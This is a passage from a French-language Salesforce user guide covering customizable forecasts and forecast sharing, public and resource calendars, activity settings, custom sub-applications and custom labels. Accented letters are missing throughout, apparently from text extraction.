de la fonction de gestion des territoires, qui prend en charge les responsables de prvision tous les niveaux.
3. Slectionnez l'utilisateur affecter en tant que responsable de prvision du rle slectionn. Si aucun utilisateur n'est
disponible pour ce rle, activez l'utilisateur qui convient ; reportez-vous Activation des prvisions personnalisables pour
les utilisateurs la page 670.
4. Si le partage des prvisions est autoris, choisissez les paramtres de partage :

Choisissez Demander l'aide d'un administrateur pour le partage des donnes prvisionnelles
afin de limiter le partage des prvisions pour cette vue aux administrateurs. Il s'agit de l'option par dfaut.
Choisissez Les responsables de prvisions peuvent partager leurs propres vues de prvisions
pour autoriser l'administrateur ou le responsable des prvisions partager cette vue.

5. Cliquez sur Enregistrer.

Remarque: Si vous ne disposez pas de ces options, les prvisions personnalisables ne sont peut-tre pas installes.
Pour dterminer si votre organisation a activ les prvisions personnalisables, reportez-vous Est-ce que je dispose de
la prvision personnalisable ? la page 1445.

Voir aussi :
Configuration de votre hirarchie des prvisions
Partage manuel d'une prvision

Personnaliser

Guide de l'utilisateur | Activation des prvisions personnalisables | 672

Activation des prvisions personnalisables

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer les prvisions personnalisables :

Personnaliser l'application

L'activation des prvisions personnalisables pour votre organisation permet vos utilisateurs de prvision d'afficher et d'envoyer
leurs prvisions personnalisables depuis l'onglet Prvisions en fonction des paramtres des prvisions personnalisables.
Remarque: Si vous ne disposez pas de ces options, les prvisions personnalisables ne sont peut-tre pas installes.
Pour dterminer si votre organisation a activ les prvisions personnalisables, reportez-vous Est-ce que je dispose de
la prvision personnalisable ? la page 1445.
1. Cliquez sur Configuration Personnalisation Prvisions avances Hirarchie des prvisions.
2. Cliquez sur Activer la prvision personnalisable. Si cette option n'est pas disponible, les prvisions personnalisables sont
dj actives pour votre organisation. Une fois que vous avez activ les prvisions personnalisables, trois nouvelles autorisations
utilisateur sont disponibles :
Autorisation
Ignorer les prvisions

Modifier les quotas personnels

Description
Permet aux utilisateurs de remplacer leurs propres prvisions
et celles des utilisateurs infrieurs dans la hirarchie des
prvisions. Tous les profils standard sauf Lecture seule
reoivent cette autorisation.
Permet aux utilisateurs de modifier leurs quotas. Tous les
profils standard sauf Lecture seule reoivent cette
autorisation.
Les utilisateurs autoriss grer des utilisateurs peuvent
tout moment modifier les quotas de leur choix. Les
utilisateurs peuvent toujours modifier les quotas des
personnes qu'ils supervisent directement.

Afficher toutes les prvisions

Permet aux utilisateurs de consulter toutes les prvisions,

quelle que soit leur position dans la hirarchie des prvisions.
Cette autorisation est incluse dans le profil d'administrateur
systme.

3. Choisissez les prsentations de page d'opportunit inclure dans la nouvelle liste associe Prvisions d'opportunit. Vous
pouvez galement choisir l'option Ajouter pour ajouter cette liste associe aux prsentations de page, mme si elles ont
t personnalises.
4. Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Partage manuel d'une prvision | 673

5. Si votre organisation possde des profils personnaliss, activez ou dsactivez ces autorisations dans les profils en question,
si ncessaire. Pour plus d'informations sur la modification de vos profils, reportez-vous Cration et modification des
profils la page 113.
Remarque: Avec les prvisions personnalisables, vos prvisions dpendent toujours de la manire dont les valeurs de
liste de slection tape d'opportunit sont mappes aux catgories prvisionnelles. Pour obtenir des instructions
sur la vrification de ces mappages, reportez-vous Mise jour des tapes d'opportunit la page 389.

Voir aussi :
Configuration des prvisions personnalisables
Activation de la gestion des territoires
Partage manuel d'une prvision

Partage manuel d'une prvision

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Votre administrateur dfinit la hirarchie des prvisions de votre entreprise, dterminant ainsi quels utilisateurs peuvent
visualiser les donnes prvisionnelles. Cependant, l'administrateur peut manuellement tendre les privilges de partage des
donnes prvisionnelles et vous pouvez galement tendre manuellement les privilges de partage de vos propres donnes
prvisionnelles. Le partage manuel des prvisions ne fait qu'augmenter l'accs aux donnes prvisionnelles et ne peut en aucun
cas limiter l'accs des utilisateurs qui y ont dj droit. Pour partager manuellement une prvision, vous devez tre un
administrateur ou un responsable de prvisions autoris partager vos donnes prvisionnelles.
Pour connatre les utilisateurs qui peuvent afficher votre prvision ou partager vos donnes prvisionnelles, procdez comme
suit :

Cliquez sur Configuration Personnalisation Prvisions avances Hirarchie des prvisions, puis cliquez sur
Partager en regard de la vue partager.
Cliquez sur Partage sur la page d'accueil des prvisions pour partager vos propres donnes prvisionnelles.

La liste de partage des utilisateurs et des groupes affiche tous les utilisateurs qui ont actuellement accs vos donnes
prvisionnelles. Elle indique aussi leur niveau d'accs, comment ils peuvent soumettre une prvision et pourquoi ils y ont accs.
Un utilisateur peut avoir accs aux donnes prvisionnelles pour plusieurs motifs :
Motif

Description

Administrateur

L'utilisateur est administrateur ou dispose de l'autorisation

Modifier toutes les donnes

Responsable de prvisions dlgu

Un utilisateur dispose d'un accs aux donnes prvisionnelles,

qui lui a t accord via le bouton Partage des prvisions.

Responsable des prvisions

Un utilisateur dispose d'un droit d'accs en tant que

responsable des prvisions dans la hirarchie des prvisions.

Responsable

Le responsable peut toujours voir ses donnes prvisionnelles.

Personnaliser

Guide de l'utilisateur | Soumission des prvisions personnalisables par lot | 674

Motif

Description

Autorisation Afficher toutes les prvisions

Le profil de l'utilisateur est associ l'autorisation Afficher

toutes les prvisions.

Dans la page de dtails du partage de prvision, vous pouvez effectuer les oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Ajouter pour accorder d'autres utilisateurs ou groupes l'accs aux donnes prvisionnelles.
Remarque: Le partage manuel s'tend jusqu'aux donnes d'opportunit qui constituent les prvisions. Si un
utilisateur est autoris annuler des donnes prvisionnelles, il est galement autoris annuler les donnes
prvisionnelles d'opportunit.

Cliquez sur Dvelopper la liste pour afficher tous les utilisateurs qui disposent de l'accs aux donnes prvisionnelles.
Pour les rgles de partage manuelles que vous crez, cliquez sur Modifier ou Suppr en regard d'un lment de la liste afin
de modifier ou de supprimer le niveau d'accs.

Voir aussi :
Dfinition des paramtres des prvisions personnalisables
Affectation de responsables de prvision dans la hirarchie de prvision
Activation des prvisions personnalisables
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs

Soumission des prvisions personnalisables par lot

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour soumettre les prvisions par lot :

Personnaliser l'application

La soumission des prvisions offre un instantan des donnes prvisionnelles et rend ces donnes disponibles sous forme
d'historique des prvisions et de rapports. Les utilisateurs peuvent soumettre leurs prvisions individuellement en cliquant sur
Envoyer dans leurs prvisions.
Pour soumettre plusieurs prvisions simultanment :
1. Cliquez sur Configuration Personnalisation Prvisions Soumettre par lots.
2. Choisissez la priode de prvision qui convient.

Personnaliser

Guide de l'utilisateur | Gestion des calendriers publics et des calendriers de ressources | 675

3. Slectionnez les utilisateurs disposant des prvisions que vous souhaitez soumettre et cliquez sur Ajouter pour les ajouter
la liste Utilisateurs slectionns pour la soumission par lot. Pour slectionner plusieurs utilisateurs
simultanment, cliquez dessus tout en maintenant la touche Ctrl enfonce.
4. Cliquez sur Soumettre.
5. Cliquez sur OK.
Remarque: Si vous ne disposez pas de ces options, les prvisions personnalisables ne sont peut-tre pas installes.
Pour dterminer si votre organisation a activ les prvisions personnalisables, reportez-vous Est-ce que je dispose de
la prvision personnalisable ? la page 1445.

Voir aussi :
Configuration des prvisions personnalisables

Gestion des calendriers publics et des calendriers de

ressources
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer des calendriers publics :

Personnaliser l'application

Pour grer des calendriers de ressources :

Personnaliser l'application

Contrairement aux calendriers individuels des utilisateurs, les calendriers publics et de ressources sont destins la gestion des
activits de groupe ou des ressources partages.
Grce aux calendriers publics, un groupe de personnes peut suivre des vnements qui les intressent (vnements marketing,
sorties de produits ou sessions de formation, par exemple) ou planifier une activit commune (calendrier des congs de l'quipe,
par exemple). Votre quipe marketing, par exemple, peut dfinir un calendrier des vnements afin d'informer toute l'organisation
commerciale et marketing des vnements venir.
Les calendriers de ressources permettent plusieurs personnes de coordonner l'utilisation d'une ressource partage (comme
une salle de confrence ou un rtroprojecteur).
Pour afficher une liste des calendriers publics et de ressources en vigueur, cliquez sur Configuration Personnalisation
Activits Ressources et calendriers publics.
partir de la liste, vous pouvez effectuer les tches suivantes :

Pour afficher les proprits d'un calendrier, cliquez sur son nom dans la liste.
Pour changer les proprits d'un calendrier, cliquez sur Modifier.
Pour crer un calendrier public ou une ressource :
1. Cliquez sur Nouveau.
2. Affectez un nom au calendrier ou la ressource et cochez la case Actif.

Personnaliser

Guide de l'utilisateur | Gestion des calendriers publics et des calendriers de ressources | 676

3. Cliquez sur Enregistrer.

4. Pour que le nouveau calendrier ou la ressource soit accessible par les autres utilisateurs, cliquez sur Partage. Ajoutez
les rles, les utilisateurs ou les groupes publics avec lesquels vous souhaitez partager le calendrier.
5. Dans Accs au calendrier, dfinissez le mode de partage du calendrier en slectionnant l'une des options suivantes :
Modle de partage

Rsultats

Masquer les dtails

Les autres utilisateurs peuvent consulter les horaires, mais

n'ont pas accs d'autres informations sur la nature des
vnements du calendrier.

Masquer les dtails et ajouter des vnements

Les autres utilisateurs peuvent consulter les horaires, mais

ne peuvent pas afficher les dtails des vnements. Ils
peuvent insrer des vnements dans le calendrier.

Afficher les dtails

Les autres utilisateurs peuvent afficher des dtails sur les

vnements du calendrier.

Afficher les dtails et ajouter des vnements

Les autres utilisateurs peuvent afficher des dtails sur les

vnements du calendrier et insrer des vnements dans
le calendrier.

Accs intgral

Les autres utilisateurs peuvent afficher des dtails sur les

vnements du calendrier, y insrer des vnements et
modifier les vnements prsents.

Remarque: Les utilisateurs doivent disposer de l'autorisation de lecture approprie pour afficher l'enregistrement
associ d'une activit. Par exemple, un invit un vnement qui ne dispose pas de l'autorisation de lecture sur les
requtes ne peut pas afficher la requte associe l'vnement.

Voir aussi :
Suppression d'un calendrier public
Cration d'activits

Suppression d'un calendrier public

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour supprimer un calendrier public :

Personnaliser l'application

1. Cliquez sur Configuration Personnalisation Activits Ressources et calendriers publics.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres d'activit | 677

2. Cliquez sur Suppr en regard du nom du calendrier supprimer.

Voir aussi :
Gestion des calendriers publics et des calendriers de ressources

Personnalisation des paramtres d'activit

La disponibilit de ces paramtres varie selon l'dition. Cependant, ils sont pour la plupart disponibles dans toutes les ditions.

Autorisations utilisateur requises

Pour afficher les paramtres d'activit :

Afficher la configuration

Pour personnaliser les paramtres d'activit :

Personnaliser l'application

Sur la page des paramtres d'activit accessible via Configuration Personnalisation Activits Paramtres d'activit,
vous pouvez activer ou dsactiver les paramtres suivants pour votre entreprise :

Activer les tches de groupe

Activer le raccourci du calendrier dans le menu latral
Activer la cration d'vnements rcurrents
Activer la cration de tches rcurrentes
Activer les rappels d'activit
Activer le suivi des e-mails
Afficher les dtails de l'vnement sur la vue du calendrier multi-utilisateur
Activer des vnements sur plusieurs journes

Activer les tches de groupe

Paramtre activ par dfaut dans toutes les ditions. Quand elle est coche, cette case permet aux utilisateurs d'attribuer
des copies indpendantes d'une nouvelle tche plusieurs utilisateurs. Pour plus d'informations, reportez-vous Cration
de tches de groupe la page 1107.
Activer le raccourci du calendrier dans le menu latral
Disponible avec toutes les ditions. Cochez cette case pour afficher un lien vers la dernire vue de calendrier utilise par
un utilisateur dans le menu latral.
lments rcents.

. Dans le menu latral, le raccourci du calendrier figure au-dessus du composant

Activer la cration d'vnements rcurrents

Disponible avec toutes les ditions. Cochez cette case pour permettre aux utilisateurs de crer des vnements qui se
rptent intervalles spcifiques.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres d'activit | 678

Activer la cration de tches rcurrentes

Disponible avec toutes les ditions. Cochez cette case pour permettre aux utilisateurs de crer des tches qui se rptent
intervalles spcifiques. Si vous dsactivez ce paramtre, les utilisateurs peuvent modifier l'intervalle d'une tche rcurrente
existante, mais ils ne peuvent pas crer de nouvelles tches rcurrentes.
Activer les rappels d'activit
Disponible avec toutes les ditions. Cochez cette case pour activer les rappels d'activit pour votre entreprise.
Salesforce.com peut afficher des rappels instantans pour les vnements et tches venir. Les rappels informent le
bnficiaire des activits d'une tche ou d'un vnement venir. Le rappel s'affiche dans une petite fentre de navigation
contextuelle lorsque le bnficiaire des activits est connect Salesforce.com. Lorsqu'un utilisateur se connecte, les
rappels qu'il n'a pas rejets et ceux programms depuis la dernire fois qu'il s'est dconnect apparaissent dans la fentre
de rappel.
Si vous dsactivez les rappels, les utilisateurs ne seront pas prvenus des tches ou vnements pour lesquels des rappels
ont t dfinis, ils ne pourront plus ajouter de nouveaux rappels ni configurer des rappels par dfaut. Les paramtres et
rappels existants sur les tches et vnements seront conservs si vous ractivez ultrieurement les rappels.
Pour plus d'informations, reportez-vous Dfinition de rappels pour les activits la page 1084.
Activer le suivi des e-mails
Disponible dans Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition. Les e-mails HTML sortants sont suivis par dfaut si votre entreprise utilise des modles
d'e-mail HTML. Vous pouvez activer ou dsactiver cette case afin de contrler le suivi des e-mails. Si vous dsactivez
le suivi des e-mails, les informations de suivi correspondantes pour votre entreprise ne sont plus stockes. Cependant, la
liste associe Statut des messages HTML est conserve sur les prsentations de page et les rapports de suivi des e-mails
restent dans l'onglet Rapports.
Afficher les dtails de l'vnement sur la vue du calendrier multi-utilisateur
Disponible dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition. Si le partage du
calendrier l'chelle de l'entreprise inclut l'option Afficher les dtails ou si vous tes le responsable d'un autre utilisateur
dans la hirarchie des rles, les vues du calendrier partag affichent gnralement les dtails des vnements des utilisateurs
lorsque vous survolez les zones remplies du calendrier. Lorsque vous cochez la case Afficher les dtails de
l'vnement sur la vue du calendrier multi-utilisateur, les dtails des vnements apparaissent
l'cran plutt que dans une info-bulle. Ce paramtre s'applique aux vues de calendrier partag journalires, hebdomadaires
et mensuelles pour tous les utilisateurs. Les vues du calendrier partag incluent les vues de calendrier multi-utilisateur et
les calendriers de ressources publics.
Remarque: L'activation de ce paramtre ne remplace pas le partage du calendrier. Si les dtails du calendrier
d'un utilisateur ne sont pas accessibles aux autres utilisateurs en raison du partage du calendrier ou de la place de
l'utilisateur dans la hirarchie des rles, ce paramtre respecte ces conditions.
Activer des vnements sur plusieurs journes
Disponible et activ par dfaut avec toutes les ditions Lorsque cette case est coche, Salesforce.com prend en charge
des vnements qui se terminent plus d'un jour (24 heures) aprs leur dbut. Pour plus d'informations concernant la
cration d'vnements sur plusieurs journes, reportez-vous Cration d'vnements la page 1094. Pour plus d'informations
sur la cration d'vnements sur plusieurs journes l'aide de l'API,reportez-vous Force.com Web Services API Developer's

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres d'activit | 679

Guide. Vous devez utiliser la version 13.0 ou ultrieure de l'API pour crer un vnement sur plusieurs jours l'aide de
l'API

Voir aussi :
Personnalisation des paramtres de l'interface utilisateur

Crer
Prsentation des outils de dveloppement de
sous-applications
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

La plate-forme inclut des outils de dveloppement de sous-applications par pointer-et-cliquer innovants qui offrent la puissance
ncessaire pour personnaliser Salesforce.com et satisfaire vos besoins. Vous pouvez galement concevoir vos propres applications
pour partager et stocker les informations importantes. Ces outils ne ncessitent aucune connaissance en programmation.
Cliquez sur Configuration Crer pour accder aux options suivantes.
Sous-applications
Concevez vos propres applications en dfinissant des groupes d'onglets standard et personnaliss.
tiquettes personnalises
Crez des valeurs de texte personnalises utiliser dans des sous-applications multilingues.
Objets
Crez des donnes personnalises et des listes associes pour stocker et afficher des informations propres votre
organisation.
Packages
Crez des ensembles d'lments tels que des sous-applications, des objets, des rgles de workflow ou des modles d'e-mails,
puis tlchargez-les sur Force.com AppExchange pour les partager avec d'autres utilisateurs.
Types de rapport
Disponible pour Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition seulement. Crez
des types de rapports personnaliss afin d'offrir davantage de puissance et de flexibilit vos utilisateurs pour concevoir
des rapports personnaliss.
Onglets
Crez des onglets pour afficher et modifier les donnes de vos objets personnaliss ou incorporer du contenu Web et des
applications dans l'interface utilisateur.
Workflow et approbations
Disponible uniquement dans Enterprise Edition, Unlimited Edition et Developer Edition. Crez des processus
commerciaux automatiss qui envoient des alertes par e-mail, attribuent des tches, mettent jour des champs et dfinissent
des messages sortants vers des services externes.

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Guide de l'utilisateur | Prsentation d'une sous-application | 681

La plate-forme comprend galement des outils de dveloppement de sous-applications qui ncessitent des connaissances en
programmation. Les outils qui requirent de solides connaissances en programmation sont accessibles via Configuration
Dvelopper.

Voir aussi :
Prsentation de la configuration des sous-applications

Prsentation d'une sous-application

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les sous-applications :

Afficher la configuration

Pour grer les sous-applications :

Personnaliser l'application

Une sous-application est un groupe d'onglets agissant comme une unit pour permettre le fonctionnement de l'application.
Salesforce.com fournit des sous-applications standard comme Ventes et Centre d'appel. Vous pouvez adapter les sous-applications
standard votre mode de travail.
Vous pouvez aussi crer vos propres sous-applications la demande en regroupant des onglets standard et personnaliss dans
de nouvelles sous-applications personnalises. Une sous-application personnalise est constitue d'une tiquette, d'une description
et d'une liste ordonne d'onglets. Vous pouvez galement attribuer des logos personnaliss aux sous-applications personnalises.
Les sous-applications personnalises permettent d'tendre les types d'informations que vous grez et partagez en ligne,
d'autres domaines d'activit que le CRM. Les sous-applications personnalises font partie de la plate-forme Force.com qui
permet de crer des applications personnalises et de les partager avec d'autres utilisateursSalesforce.com. Pour plus d'informations
sur le partage des sous-applications que vous avez labores, reportez-vous Prsentation des packages la page 836.
La liste de vos sous-applications personnalises disponibles se trouve dans le menu des sous-applications Force.com, une liste
droulante qui s'affiche en haut de chaque pageSalesforce.com. Lorsque vous choisissez une sous-application dans le menu
Force.com, l'cran se modifie en consquence. Par exemple, si vous passez d'une sous-application contenant l'onglet Opportunits
une autre qui n'est pas dote de cette fonction, cet onglet disparat et le lien Opportunit n'apparat plus dans la liste
droulante Crer du menu latral. En outre, la sous-application peut afficher un onglet initial diffrent ou de destination par
dfaut lorsqu'elle est slectionne.
Les sous-applications sont associes des profils. Les profils contrlent les onglets que vous pouvez afficher ou masquer, et
les sous-applications auxquelles vous avez accs. Vous pouvez personnaliser les onglets de vos sous-applications dans les limites
imposes par votre profil. Pour plus d'informations sur la personnalisation des onglets, reportez-vous Personnalisation de
votre affichage la page 30.
Remarque: Pour les utilisateurs titulaires des licences Salesforce.com Platform et Salesforce Platform One, la
sous-application standard de la plate-forme est la seule rpertorie dans le menu des sous-applications de Force.com.

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Guide de l'utilisateur | Dfinition des sous-applications personnalises | 682

Pour plus d'informations sur la spcification d'une tiquette unique pour la sous-application standard de la plate-forme,
reportez-vous Dfinition des sous-applications personnalises la page 682.

Voir aussi :
Dfinition des sous-applications personnalises
Gestion des sous-applications
Gestion des profils

Dfinition des sous-applications personnalises

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les sous-applications :

Afficher la configuration

Pour grer les sous-applications :

Personnaliser l'application

Dfinissez des sous-applications personnalises afin de crer des applications sur demande pour vos utilisateurs. Reportez-vous
ditions Salesforce.com et limitations la page 939 pour le nombre total de sous-applications personnalises que vous pouvez
dfinir.
Pour dfinir des sous-applications personnalises :
1. Cliquez sur Configuration Crer Sous-applications.
2. Cliquez sur Nouveau.
3. Attribuez une tiquette la sous-application personnalise. L'tiquette d'une sous-application personnalise peut contenir
jusqu' 40 caractres, espaces compris. Cette tiquette apparat dans le menu des sous-applications Force.com afin que les
utilisateurs puissent accder la sous-application en question.
4. Vous pouvez ventuellement entrer la description de la sous-application personnalise.
5. Cliquez sur Suivant.
6. En option, vous pouvez spcifier un logo personnalis pour la sous-application personnalise. Cliquez sur Insrer une
image pour slectionner un fichier d'image dans la bibliothque de documents.
Au moment de choisir un logo de sous-application personnalise dans la bibliothque de documents, tenez compte des
critres suivants :

L'image doit tre au format GIF ou JPEG et faire moins de 20 Ko.

Toute image suprieure 300 x 55 pixels est ajuste.
Pour optimiser l'affichage l'cran, il est conseill d'utiliser une image dote d'un arrire-plan transparent.
La case Accessible en externe doit tre coche dans les proprits du document afin que les utilisateurs puissent
voir l'image.

7. Cliquez sur Suivant.

Crer

Guide de l'utilisateur | Gestion des sous-applications | 683

8. Utilisez les flches vers la droite et vers la gauche pour ajouter ou supprimer des onglets dans la sous-application.
9. Utilisez les flches vers le haut et vers le bas pour dfinir l'ordre d'affichage des onglets dans la sous-application.
10. Vous pouvez aussi dfinir l'onglet de destination par dfaut pour les nouvelles sous-applications en utilisant le menu
droulant Onglet de destination par dfaut en dessous de la liste des onglets slectionns. Cela dtermine le premier
onglet qu'un utilisateur voit lorsqu'il se connecte cette sous-application.
11. Si vous utilisez Professional Edition, cliquez sur Enregistrer pour fermer l'assistant. Si vous utilisez les ditions Enterprise
ou Developer, cliquez sur Suivant.
12. Cochez la case Visible pour choisir les profils utilisateur pour lesquels la sous-application sera disponible.
13. Cochez la case Par dfaut pour configurer la sous-application en tant que sous-application par dfaut de ce profil. Les
nouveaux utilisateurs dots de ce profil voient alors cette sous-application lors de leur premire connexion. Les profils
limits sont exclus de cette liste.
14. Cliquez sur Enregistrer pour terminer les tapes de l'assistant.

Voir aussi :
Gestion des sous-applications
Prsentation d'une sous-application

Gestion des sous-applications

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les sous-applications :

Afficher la configuration

Pour grer les sous-applications :

Personnaliser l'application

Vous pouvez personnaliser les sous-applications standard et personnalises de votre entreprise. Cliquez sur Configuration
Crer Sous-applications pour afficher la liste des sous-applications de votre entreprise.

Pour afficher les dtails d'une sous-application, cliquez sur son tiquette. Cette action permet d'afficher les proprits
des sous-applications, telles que les onglets de la sous-application, y compris les onglets qui ne sont pas encore dploys.
Pour modifier les proprits d'une sous-application, cliquez sur Modifier. Pour plus de dtails, reportez-vous Modification
des proprits des sous-applications la page 684.
Pour supprimer une sous-application personnalise, cliquez sur Supprimer. Les applications standard ne peuvent pas tre
supprimes.
Pour crer une sous-application personnalise, cliquez sur Nouveau. Pour plus d'informations, reportez-vous Dfinition
des sous-applications personnalises la page 682.
Pour changer l'ordre des applications dans le menu des sous-applications Force.com, cliquez sur Rorganiser. Pour plus
de dtails, reportez-vous Rorganisation du menu des sous-applications Force.com la page 685.
Pour les utilisateurs titulaires des licences Salesforce.com Platform et Salesforce Platform One, la sous-application standard
de la plate-forme est la seule rpertorie dans le menu des sous-applications de Force.com.

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Guide de l'utilisateur | Gestion des sous-applications | 684

Pour plus d'informations sur le tlchargement d'une sous-application sur Force.com AppExchange, reportez-vous Prparation
de votre sous-application pour la distribution la page 849.

Voir aussi :
Prsentation d'une sous-application

Modification des proprits des sous-applications

Disponible dans : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les sous-applications :

Afficher les paramtres et la configuration

Pour grer les sous-applications :

Personnaliser l'application

Vous pouvez modifier les proprits des sous-applications standard et personnalises de votre entreprise. Par exemple, vous
pouvez spcifier le logo d'une sous-application personnalise ou vous pouvez prciser quels onglets sont accessibles dans une
sous-application standard ou personnalise. Vous ne pouvez toutefois pas modifier l'tiquette, la description ou le logo d'une
sous-application standard.
Pour modifier les proprits d'une sous-application :
1. Cliquez sur Configuration Crer Sous-applications.
2. Cliquez sur Modifier en regard de la sous-application modifier.
3. Attribuez une tiquette la sous-application personnalise. L'tiquette d'une sous-application personnalise peut contenir
jusqu' 40 caractres, espaces compris. Cette tiquette apparat dans le menu des sous-applications Force.com afin que les
utilisateurs puissent accder la sous-application en question.
4. Vous pouvez ventuellement entrer la description de la sous-application personnalise.
5. En option, vous pouvez spcifier un logo personnalis pour la sous-application personnalise. Cliquez sur Insrer une
image pour slectionner un fichier d'image dans la bibliothque de documents.
Au moment de choisir un logo de sous-application personnalise dans la bibliothque de documents, tenez compte des
critres suivants :

L'image doit tre au format GIF ou JPEG et faire moins de 20 Ko.

Toute image suprieure 300 x 55 pixels est ajuste.
Pour optimiser l'affichage l'cran, il est conseill d'utiliser une image dote d'un arrire-plan transparent.
La case Accessible en externe doit tre coche dans les proprits du document afin que les utilisateurs puissent
voir l'image.

6. Utilisez les flches vers la droite et vers la gauche pour ajouter ou supprimer des onglets dans la sous-application.
7. Utilisez les flches vers le haut et vers le bas pour dfinir l'ordre d'affichage des onglets dans la sous-application.

Crer

Guide de l'utilisateur | Gestion des sous-applications | 685

8. Vous pouvez ventuellement dfinir l'onglet de destination par dfaut pour votre nouvelle sous-application en utilisant le
menu droulant Onglet de destination par dfaut sous la liste des onglets slectionns. Ceci dtermine le premier
onglet qu'un utilisateur voit apparatre lorsqu'il se connecte la sous-application.
9. Vous pouvez ventuellement cocher la case Ignorer les personnalisations des sous-applications
personnalises des utilisateurs pour remplacer toutes les personnalisations apportes aux sous-applications
par les utilisateurs.
10. Cochez la case Visible pour choisir les profils utilisateur pour lesquels la sous-application sera disponible.
11. Cochez la case Par dfaut pour configurer la sous-application en tant que sous-application par dfaut de ce profil. Les
nouveaux utilisateurs dots de ce profil voient alors cette sous-application lors de leur premire connexion. Les profils
limits sont exclus de cette liste.
12. Cliquez sur Enregistrer.

Voir aussi :
Prsentation d'une sous-application
Gestion des sous-applications

Rorganisation du menu des sous-applications Force.com

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les sous-applications :

Afficher la configuration

Pour grer les sous-applications :

Personnaliser l'application

Vous pouvez changer l'ordre d'affichage des sous-applications dans le menu des sous-applications Force.com. Le menu des
sous-applications Force.com est une liste droulante qui apparat en haut de chaque page de l'application.
1.
2.
3.
4.

Cliquez sur Configuration Crer Sous-applications.

Cliquez sur Rorganiser.
Cliquez sur les flches pour changer l'ordre des sous-applications.
Cliquez sur Enregistrer. Les modifications sont appliques immdiatement.

Voir aussi :
Prsentation d'une sous-application
Dfinition des sous-applications personnalises
Gestion des sous-applications

Crer

Guide de l'utilisateur | Prsentation des tiquettes personnalises | 686

tiquettes personnalises
Prsentation des tiquettes personnalises
Disponible avec : Developer Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Crer, modifier ou supprimer des tiquettes personnalises :

Personnaliser l'application

Crer ou remplacer une traduction :

Grer la traduction
OU
Afficher la configuration et tre dsign comme traducteur

Les tiquettes personnalises sont des valeurs de texte personnalis auxquelles il est possible d'accder depuis des classes Apex
ou des pages Visualforce. Ces valeurs peuvent tre traduites dans nimporte quelle langue prise en charge par Salesforce.com.
Les tiquettes personnalises permettent aux dveloppeurs de crer des applications multilingues en prsentant automatiquement
les informations (par exemple, un texte d'aide ou des messages d'erreur) dans la langue maternelle de l'utilisateur.
Vous pouvez crer jusqu' 5 000 tiquettes personnalises pour votre organisation, qui peuvent comporter jusqu' 1 000
caractres.
Pour accder aux tiquettes personnalises, cliquez sur Configuration Crer tiquettes personnalises. partir de
cette page, vous pouvez :

Crer une nouvelle tiquette personnalise ou modifier une tiquette personnalise existante.
Afficher une tiquette personnalise existante. partir de la page de vue, vous pouvez crer une nouvelle traduction ou
remplacer une traduction existante par une traduction utilise par votre entreprise.

Pour ajouter une tiquette personnalise votre application, suivez les tapes ci-dessous :
1. Crez une nouvelle tiquette personnalise.
2. Traduisez la valeur de l'tiquette dans les langues prises en charge par votre application.
3. Appelez l'tiquette l'aide d'une classe Apex ou d'une page Visualforce. Les tiquettes personnalises sont appeles dans
Apex l'aide de System.Label.Label_name. Pour Visualforce, utilisez la variable globale $Label.
4. Incluez l'tiquette dans votre application lorsque vous crez son package pour l'AppExchange.

Crer

Guide de l'utilisateur | Ajout ou modification des tiquettes personnalises | 687

Conseil: Si une classe Apex ou une page Visualforce rfrence une tiquette personnalise et que cette tiquette
possde des traductions, vous devez explicitement intgrer dans le package les langues individuelles souhaites pour
les traductions inclure dans le package.

Voir aussi :
Ajout ou modification des tiquettes personnalises
Affichage des tiquettes personnalises
Cration de traductions d'tiquettes personnalises
Remplacement de traductions d'tiquettes personnalises
Configuration du systme de traduction

Ajout ou modification des tiquettes personnalises

Disponible avec : Developer Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Crer, modifier ou supprimer des tiquettes personnalises :

Autorisation de personnalisation de l'application

Crer ou remplacer une traduction :

Grer la traduction
OU
Afficher la configuration et tre dsign comme traducteur

Pour crer ou modifier une nouvelle tiquette personnalise :

1. partir de Configuration Crer Etiquettes personnalises, cliquez soit sur Nouvelle tiquette personnalise pour
crer une nouvelle tiquette, ou sur Modifier en regard de l'tiquette personnalise que vous souhaitez modifier.
2. Dans la zone de texte Description courte, saisissez un terme facilement reconnaissable pour identifier cette tiquette
personnalise. Cette description est utilise dans les champs de fusion.
Remarque: Vous ne pouvez pas modifier la langue d'une tiquette personnalise existante.

